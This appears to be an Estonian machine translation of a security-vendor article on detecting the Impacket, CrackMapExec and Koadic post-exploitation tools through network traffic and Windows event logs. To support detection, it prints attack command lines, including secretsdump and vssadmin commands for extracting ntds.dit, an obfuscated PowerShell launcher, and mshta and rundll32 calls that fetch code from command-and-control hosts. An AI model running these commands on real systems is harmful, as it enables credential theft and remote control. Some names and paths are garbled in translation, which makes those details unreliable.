Rünnakute arv ettevõtete sektoris kasvab iga aastaga: näiteks
Väärib märkimist, et neid tööriistu ei kasutata esmaseks tungimiseks, vaid rünnaku arendamiseks infrastruktuuri sees. Ründajad kasutavad neid rünnaku erinevatel etappidel pärast perimeetri tungimist. Seda, muide, on raske tuvastada ja sageli ainult tehnoloogia abil
Mida me tegema pidime:
- Saate aru, kuidas häkkimistööriistad töötavad. Uurige, mida ründajad peavad ära kasutama ja milliseid tehnoloogiaid nad saavad kasutada.
- Otsige üles seda, mida infoturbe tööriistad rünnaku esimestes etappides ei tuvasta. Luureetapi võib vahele jätta kas seetõttu, et ründaja on sisemine ründaja või kasutab ära infrastruktuuri viga, mida varem ei tuntud. Võimalik on taastada kogu tema tegevuste ahel, seega tekib soov tuvastada edasist liikumist.
- Kõrvaldage sissetungi tuvastamise tööriistadest valepositiivsed tulemused. Ei tohi unustada, et kui teatud toimingud avastatakse ainuüksi intelligentsuse põhjal, on võimalikud sagedased vead. Tavaliselt on infrastruktuuris igasuguse teabe hankimiseks piisav arv viise, mis on esmapilgul õiguspärasest eristamatud.
Mida need tööriistad ründajatele annavad? Kui tegemist on Impacketiga, saavad ründajad suure hulga mooduleid, mida saab kasutada rünnaku erinevates etappides pärast perimeetri tungimist. Paljud tööriistad kasutavad sisemiselt Impacket mooduleid, näiteks Metasploit. Sellel on käskude kaugkäivitamiseks dcomexec ja wmiexec ning Impacketist mälukontode lisamiseks secretsdump. Selle tulemusena tagab sellise raamatukogu aktiivsuse õige tuvastamine derivaatide tuvastamise.
CrackMapExeci (või lihtsalt CME) kohta kirjutasid loojad põhjusega "Powered by Impacket". Lisaks on CME-l populaarsete stsenaariumide jaoks valmis funktsionaalsus: see on Mimikatz paroolide või nende räside hankimiseks ning Meterpreteri või Empire agendi kasutuselevõtt kaugkäivitamiseks ja Bloodhound pardal.
Meie kolmas valitud tööriist on Koadic. See on üsna värske, seda esitleti 25. aastal rahvusvahelisel häkkerikonverentsil DEFCON 2017 ja sellel on ebastandardne lähenemine: see töötab HTTP, Java Scripti ja Microsoft Visual Basic Scripti (VBS) kaudu. Seda lähenemisviisi nimetatakse maast välja elamiseks: tööriist kasutab Windowsi sisseehitatud sõltuvuste ja teekide komplekti. Loojad nimetavad seda COM Command & Control ehk C3-ks.
IMPACKET
Impacketi funktsionaalsus on väga lai, ulatudes AD-sisesest tutvumisest ja andmete kogumisest sisemistest MS SQL-serveritest, lõpetades mandaatide hankimise tehnikatega: see on SMB-edastusrünnak ja kasutaja parooliräsi sisaldava faili ntds.dit hankimine domeenist. kontroller. Impacket täidab ka kaugkäske nelja erineva meetodi abil: WMI kaudu, mis on Windowsi planeerija, DCOM ja SMB haldamise teenus ning selleks on vaja mandaate.
salajane prügimägi
Heidame pilgu Secretsdumpile. See on moodul, mis võib sihtida nii kasutajamasinaid kui ka domeenikontrollereid. Selle abil saate LSA, SAM, SECURITY, NTDS.dit mälupiirkondade koopiaid, nii et seda saab näha rünnaku erinevates etappides. Mooduli töö esimeseks sammuks on autentimine SMB kaudu, mis nõuab Pass the Hash rünnaku automaatseks läbiviimiseks kas kasutaja parooli või selle räsi. Järgmisena tuleb palve avada juurdepääs Service Control Managerile (SCM) ja saada juurdepääs registrile winreg-protokolli abil, mille abil saab ründaja teada teda huvitavate filiaalide andmed ja saada tulemused SMB kaudu.
Joonisel fig. 1 näeme täpselt, kuidas winreg-protokolli kasutamisel saadakse juurdepääs LSA-ga registrivõtmega. Selleks kasutage käsku DCERPC opkoodiga 15 - OpenKey.
Riis. 1. Registrivõtme avamine winreg-protokolli abil
Lisaks salvestatakse võtmega juurdepääsu korral väärtused käsu SaveKey abil opkoodiga 20. Impacket teeb seda väga spetsiifilisel viisil. See salvestab väärtused faili, mille nimi on 8 juhuslikust tähemärgist koosnev string, millele on lisatud .tmp. Lisaks toimub selle faili edasine mahalaadimine SMB kaudu System32 kataloogist (joonis 2).
Riis. 2. Kaugmasinast registrivõtme saamise skeem
Selgub, et võrgus saab sellist tegevust tuvastada, kui küsite winreg protokolli abil teatud registriharusid, konkreetseid nimesid, käske ja nende järjekorda.
Samuti jätab see moodul jäljed Windowsi sündmuste logisse, tänu millele on see hõlpsasti tuvastatav. Näiteks käsu täitmise tulemusena
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
Windows Server 2016 logis näeme järgmist sündmuste võtmejada:
1. 4624 - Kaugsisselogimine.
2. 5145 - winregi kaugteenuse juurdepääsuõiguste kontrollimine.
3. 5145 - System32 kataloogis oleva faili juurdepääsuõiguste kontrollimine. Failil on ülalmainitud juhuslik nimi.
4. 4688 – protsessi cmd.exe loomine, mis käivitab vssadmini:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - protsessi loomine käsuga:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
6. 4688 - protsessi loomine käsuga:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
7. 4688 - protsessi loomine käsuga:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
Smbexec
Nagu paljudel järelkasutustööriistadel, on ka Impacketil moodulid kaugkäskude täitmiseks. Keskendume smbexecile, mis annab teile kaugmasinas interaktiivse käsukesta. See moodul nõuab ka autentimist SMB kaudu kas parooli või selle räsi abil. Joonisel fig. 3 näeme näidet sellise tööriista toimimisest, antud juhul on selleks kohalik administraatorikonsool.
Riis. 3. smbexec interaktiivne konsool
Smbexeci esimene samm pärast autentimist on SCM-i avamine käsuga OpenSCManagerW(15). Päring on tähelepanuväärne: selle välja MachineName väärtuseks on määratud DUMMY.
Riis. 4. Taotlege Service Control Manageri avamist
Järgmisena luuakse teenus käsu CreateServiceW (12) abil. Smbexeci puhul näeme iga kord sama käsu koostamise loogikat. Joonisel fig. 5 roheline värv näitab käsu muutmatuid parameetreid, kollane - mida ründaja saab muuta. On lihtne näha, et käivitatava faili nime, selle kataloogi ja väljundfaili saab muuta, kuid ülejäänut on palju keerulisem muuta ilma Impacket mooduli loogikat rikkumata.
Riis. 5. Taotlege teenuse loomist Service Control Manageri abil
Smbexec jätab selged jäljed ka Windowsi sündmuste logisse. Windows Server 2016 logis interaktiivse käsukesta jaoks koos käsuga ipconfig näeme järgmist sündmuste võtmejada:
1. 4697 - teenuse installimine ohvri masinasse:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
2. 4688 - protsessi cmd.exe loomine punktist 1 pärit argumentidega.
3. 5145 - C$ kataloogis oleva __väljundfaili juurdepääsuõiguste kontrollimine.
4. 4697 - Teenuse paigaldamine kannatanu masinasse.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - protsessi cmd.exe loomine punktist 4 pärit argumentidega.
6. 5145 - C$ kataloogis oleva __väljundfaili juurdepääsuõiguste kontrollimine.
Impacet on ründetööriistade väljatöötamise aluseks. See toetab peaaegu kõiki Windowsi infrastruktuuri protokolle ja samal ajal on sellel oma omadused. Siin on konkreetsed winreg-päringud ja SCM API kasutamine koos iseloomulike käskude moodustamisega, failinimede vorming ja SMB-jagamine SYSTEM32.
CRACKMAPEXEC
CME tööriist on mõeldud peamiselt nende rutiinsete toimingute automatiseerimiseks, mida ründaja peab võrgus edasiliikumiseks tegema. See võimaldab teil töötada koos kurikuulsa Empire agendi ja Meterpreteriga. Käskude nähtamatuks täitmiseks saab CME need hägustada. Bloodhoundi (eraldi luuretööriista) abil saab ründaja automatiseerida aktiivse domeeni administraatori seansi otsimise.
Verehaigus
Bloodhound kui eraldiseisev tööriist võimaldab teil võrgus läbi viia täiustatud luuret. See kogub andmeid kasutajate, masinate, rühmade, seansside kohta ja tuleb PowerShelli skriptina või kahendfailina. Teabe kogumiseks kasutatakse LDAP-i või SMB-l põhinevaid protokolle. CME integratsioonimoodul võimaldab Bloodhoundi ohvri masinasse alla laadida, seda käivitada ja kogutud andmed pärast täitmist vastu võtta, automatiseerides sellega süsteemis toiminguid ja muutes need vähem märgatavaks. Bloodhoundi graafiline kest esitab kogutud andmed graafikute kujul, mis võimaldab leida lühima tee ründaja masinast domeeni administraatorini.
Riis. 6. Bloodhoundi liides
Ohvri masinas töötamiseks loob moodul ülesande ATSVC ja SMB abil. ATSVC on liides Windowsi ülesannete ajakavaga töötamiseks. CME kasutab võrgu kaudu töökohtade loomiseks funktsiooni NetrJobAdd(1). Näide selle kohta, mida CME moodul saadab, on näidatud joonisel fig. 7: see on väljakutse käsule cmd.exe ja XML-vormingus argumentide kujul ähmastatud kood.
Joonis 7. Ülesande loomine CME kaudu
Pärast ülesande täitmiseks esitamist käivitab ohvri masin Bloodhoundi ise ja seda on liikluses näha. Moodulit iseloomustavad LDAP-päringud standardrühmade hankimiseks, kõigi domeenis olevate masinate ja kasutajate loend, aktiivsete kasutajaseansside kohta teabe hankimine SRVSVC NetSessEnum päringu kaudu.
Riis. 8. Aktiivsete seansside loendi hankimine SMB kaudu
Lisaks kaasneb Bloodhoundi käivitamisega ohvri masinas auditeerimisega sündmus ID 4688 (protsessi loomine) ja protsessi nimega «C:WindowsSystem32cmd.exe»
. Märkimisväärsed selles on käsurea argumendid:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
enum_avproducts
Moodul enum_avproducts on funktsionaalsuse ja teostuse seisukohalt väga huvitav. WMI võimaldab teil kasutada WQL-i päringukeelt erinevatelt Windowsi objektidelt andmete hankimiseks, mida see CME-moodul sisuliselt kasutab. See genereerib päringuid klassidele AntiSpywareProduct ja AntiMirusProduct ohvri masinasse installitud kaitsevahendite kohta. Vajalike andmete saamiseks loob moodul ühenduse rootSecurityCenter2 nimeruumiga, genereerib seejärel WQL-päringu ja saab vastuse. Joonisel fig. 9 näitab selliste päringute ja vastuste sisu. Meie näites leiti Windows Defender.
Riis. 9. Mooduli enum_avproducts võrgutegevus
Sageli saab WMI (Trace WMI-Activity) auditeerimise välja lülitada, mille sündmuste puhul leiate kasulikku teavet WQL-päringute kohta. Kui aga see on lubatud, siis skripti enum_avproducts käivitamisel salvestatakse sündmus ID-ga 11. See sisaldab päringu esitanud kasutaja nime ja rootSecurityCenter2 nimeruumis olevat nime.
Igal CME moodulil olid oma artefaktid, olgu need siis konkreetsed WQL-päringud või teatud tüüpi ülesande loomine ülesannete planeerijas koos hägustamise ja Bloodhoundi spetsiifilise tegevusega LDAP-is ja SMB-s.
KOADIC
Koadicu eripäraks on sisseehitatud JavaScripti ja VBScripti interpretaatorite kasutamine Windowsis. Selles mõttes järgib see maalt elamise suundumust - see tähendab, et sellel pole väliseid sõltuvusi ja see kasutab standardseid Windowsi tööriistu. See on tööriist täisväärtusliku Command & Control (CnC) jaoks, sest pärast nakatumist paigaldatakse masinale "implantaat", mis võimaldab seda juhtida. Sellist masinat nimetatakse Koadic terminoloogias "zombiks". Kui ohvri poolel täielikult töötamiseks pole piisavalt õigusi, on Koadicil võimalus neid tõsta, kasutades kasutajakonto kontrolli möödaviimise (UAC bypass) tehnikaid.
Riis. 10. Koadic käsu kest
Ohver peab alustama suhtlemist Command & Control serveriga. Selleks peab ta pääsema juurde eelnevalt ettevalmistatud URI-le ja hankima Koadicu põhikeha, kasutades ühte etappidest. Joonisel fig. 11 näitab etappi mshta näidet.
Riis. 11. Seansi initsialiseerimine CnC serveriga
Vastuse WS-muutuja järgi saab selgeks, et täitmine toimub WScript.Shelli kaudu ning muutujad STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE sisaldavad põhiteavet praeguse seansi parameetrite kohta. See on esimene päringu-vastuse paar HTTP-ühenduses CnC-serveriga. Hilisemad päringud on otseselt seotud kutsutavate moodulite (implantaatide) funktsionaalsusega. Kõik Koadicu moodulid töötavad ainult aktiivse CnC-seansiga.
Mimikatz
Nii nagu CME töötab Bloodhoundiga, töötab Koadic Mimikatziga eraldi programmina ja sellel on mitu võimalust selle käivitamiseks. Allpool on päringu-vastuse paar Mimikatzi implantaadi allalaadimiseks.
Riis. 12. Viige Mimikatz Koadicile
Näete, kuidas taotluses oleva URI vorming on muutunud. Sellel on väärtus muutuja csrf jaoks, mis vastutab valitud mooduli eest. Ära pööra tema nimele tähelepanu; me kõik teame, et CSRF-i mõistetakse tavaliselt erinevalt. Vastuseks tuli sama Koadicu põhiosa, millele lisati Mimikatziga seotud kood. See on üsna suur, nii et vaatame põhipunkte. Siin on base64-kodeeringuga Mimikatzi teek, serialiseeritud .NET-klass, mis selle sisestab, ja argumendid Mimikatzi käitamiseks. Täitmise tulemus edastatakse võrgu kaudu selge tekstina.
Riis. 13. Kaugmasinas Mimikatzi käivitamise tulemus
Exec_cmd
Koadicul on ka moodulid, mis suudavad kaugjuhtimisega käske täita. Siin näeme sama URI genereerimismeetodit ja tuttavaid sid- ja csrf-muutujaid. Mooduli exec_cmd puhul lisatakse kehasse kood, mis on võimeline täitma shellikäske. CnC-serveri HTTP vastuses kuvatakse järgmine kood.
Riis. 14. Implantaadi kood exec_cmd
Koodi täitmiseks on vajalik muutuja GAWTUUGCFI tuttava WS-i atribuudiga. Selle abiga kutsub implantaat shelli, töötledes kahte koodiharu - shell.exec koos väljundandmevoo tagastamisega ja shell.run ilma tagastamiseta.
Koadic ei ole tüüpiline tööriist, kuid sellel on oma artefaktid, mille abil saab seda seaduslikus liikluses leida:
- HTTP päringute spetsiaalne moodustamine,
- kasutades winHttpRequests API-t,
- WScript.Shelli objekti loomine ActiveXObjecti kaudu,
- suur täidetav keha.
Esialgne ühendus käivitab etapi, nii et selle tegevust saab Windowsi sündmuste kaudu tuvastada. Mshta puhul on see sündmus 4688, mis näitab protsessi loomist atribuudiga start:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6
Koadicu teostamise ajal võib näha veel 4688 sündmust koos seda täiuslikult iseloomustavate atribuutidega:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Järeldused
Küberkurjategijate seas kogub populaarsust maast elamise trend. Nad kasutavad oma vajaduste jaoks sisseehitatud Windowsi tööriistu ja mehhanisme. Näeme seda põhimõtet järgivaid populaarseid tööriistu Koadic, CrackMapExec ja Impacket ilmumas APT aruannetes üha sagedamini. GitHubi kahvlite arv nende tööriistade jaoks samuti kasvab, ilmub uusi (neid on praegu juba tuhatkond). Trend kogub populaarsust oma lihtsuse tõttu: ründajad ei vaja kolmandate osapoolte tööriistu, need on juba ohvrite masinates ja aitavad turvameetmetest mööda minna. Oleme keskendunud võrgu interaktsiooni uurimisele: iga ülalkirjeldatud tööriist jätab oma jäljed võrguliiklusesse; nende üksikasjalik uuring võimaldas meil oma toodet õpetada
Autorid:
- Anton Tyurin, PT ekspertide turvakeskuse positiivsete tehnoloogiate ekspertteenuste osakonna juhataja
- Egor Podmokov, PT ekspertide turvakeskuse, positiivsete tehnoloogiate ekspert
Allikas: www.habr.com